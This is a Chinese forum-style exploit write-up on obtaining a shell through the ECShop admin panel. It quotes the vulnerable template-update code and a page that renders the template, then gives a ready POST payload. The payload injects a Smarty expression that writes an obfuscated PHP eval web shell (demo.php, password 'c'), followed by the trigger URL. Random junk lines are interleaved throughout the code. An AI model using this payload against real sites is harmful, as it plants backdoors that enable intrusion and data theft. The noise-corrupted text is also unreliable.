Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
  S" T. R* q, w2 \7 |  f7 @
/ g: o; p0 r7 t) D& i而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
% q9 [" G+ U5 @5 o* M
+ k4 p* ~; f6 t- b" ]1 if ($_REQUEST['act'] == 'update_library')
3 K' r: C9 ]2 F- |. c
2   

! e" f- m+ e# F+ a) ~3 {

- D5 z: I8 Z- e1 ]0 I1 z) ]6 O/ u4     check_authz_json('library_manage');

5   

% ^! |/ V6 o' e! o+ F' T4 t6     $html = stripslashes(json_str_iconv($_POST['html']));

" U- ^3 N# N5 g  l7   

2 |# S0 M+ G1 j3 w8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
, ~$ l; o( l. v4 c8 ~2 g7 @
9   

/ y+ S8 @# J5 J, i% y10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

0 {9 I# X* I' ^11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, ^- H8 f4 C3 D' [
  h3 C6 \; D2 @" s7 F3 G13   
2 @* {9 I! h9 v7 w, H- U/ Z
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

8 K; l0 r+ Z' w% }1 y9 V# p0 h: h15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" F1 x9 R* G9 S: P* n  X/ h
) l4 t. P" _$ C* m" m( U9 o; f+ d17         make_json_result('', $_LANG['update_lib_success']);

! U9 w7 W( z) z7 G6 N- k18     }

19     else

20     {
5 R6 o, {  v- j) \# k  ~
5 x% \6 u7 {1 K  _( h21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

2 X" ~2 {$ d' q/ j+ n& X4 B7 n23 }
. }# ~( X9 o% r. n
那么找个比较方便调用了模板的文件
index.php
2 v" f* O- X7 A
/ ?# I) q' [8 I! {) {/ @" M1 if ($act == 'cat_rec')
% f3 \; `8 S' |# U
1 S2 o8 x$ s+ p. [0 n4 q8 {2   
9 l# B5 U, Z/ K: |
0 d) n3 Z* t7 e5 t% B, D3 {
3 D/ M# C- o  V8 o) q( n! {
/ w' U" r6 ~% M& |6 c3 W( f; @4   
4 o7 K+ t, h) s
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 R* c; `! m7 S* K3 C, E0 p
  \! b! z! G7 a( u6   
* g* `, W/ ~8 N$ E6 L
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

% v. U& R# H' [; Z. \) E8   
# F. b( [5 n: x1 Z+ Y
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 k6 D( s8 ^. Z- e3 U
3 L! x! ~8 i, v9 N  ?7 o' v9 r3 a10   
  K  U' {" \, Y
11     include_once('includes/cls_json.php');

12   
8 c% _( s  U+ g) }, |3 `
% n9 c; X+ q9 `6 H/ k. r13     $json = new JSON;
0 w, w6 ]$ T6 a0 G
14   
9 R4 ?9 \* ]) S  e$ o+ t$ ^
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
  L: a4 ]- B" K3 [3 w
, G% @+ X1 _4 n7 m$ o  s9 c16   
: d- x- P9 B$ U  S" b$ q
17     $children = get_children($cat_id);
5 p1 s" ~  j6 J
4 @, c5 @; c) l' C% x- U18   
* ?3 k% B9 N8 j6 v" b" ]
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
, }" ^$ U' Y( \2 j2 [% n. \
20   

21     $smarty->assign('cat_rec_sign', 1);

22   
7 Z0 X; U0 p' R; S8 b1 l
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 g1 d" W+ j6 q# Y
24   
/ N2 d. o; q, k) N8 S7 G0 v& p1 U( |
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
) j2 h. o" G7 U
26   

( y7 {; x/ U( Y27         echo $rec_array[$rec_type];

28   
( H6 p8 G; p# @' E2 U
29     die($json->encode($result));
, B% [. [0 t' O' n
30   

31 }

8 m/ _7 d. h. b* d) B那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
' x  W* `7 r$ _% L1 k2 j% p4 S' F+ P7 b
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

6 O. V+ ?1 z/ @然后访问http://localhost/ec/index.php?act=cat_rec
/ u& B% K# N8 x# Q0 l+ h
shel地址：http://localhost/ec/demo.php
  o& [6 M  T: Y& M# O密码c
! g7 ~- L1 J( v5 u% K9 h0 W
2 m# c0 M7 e' W9 I* U3 d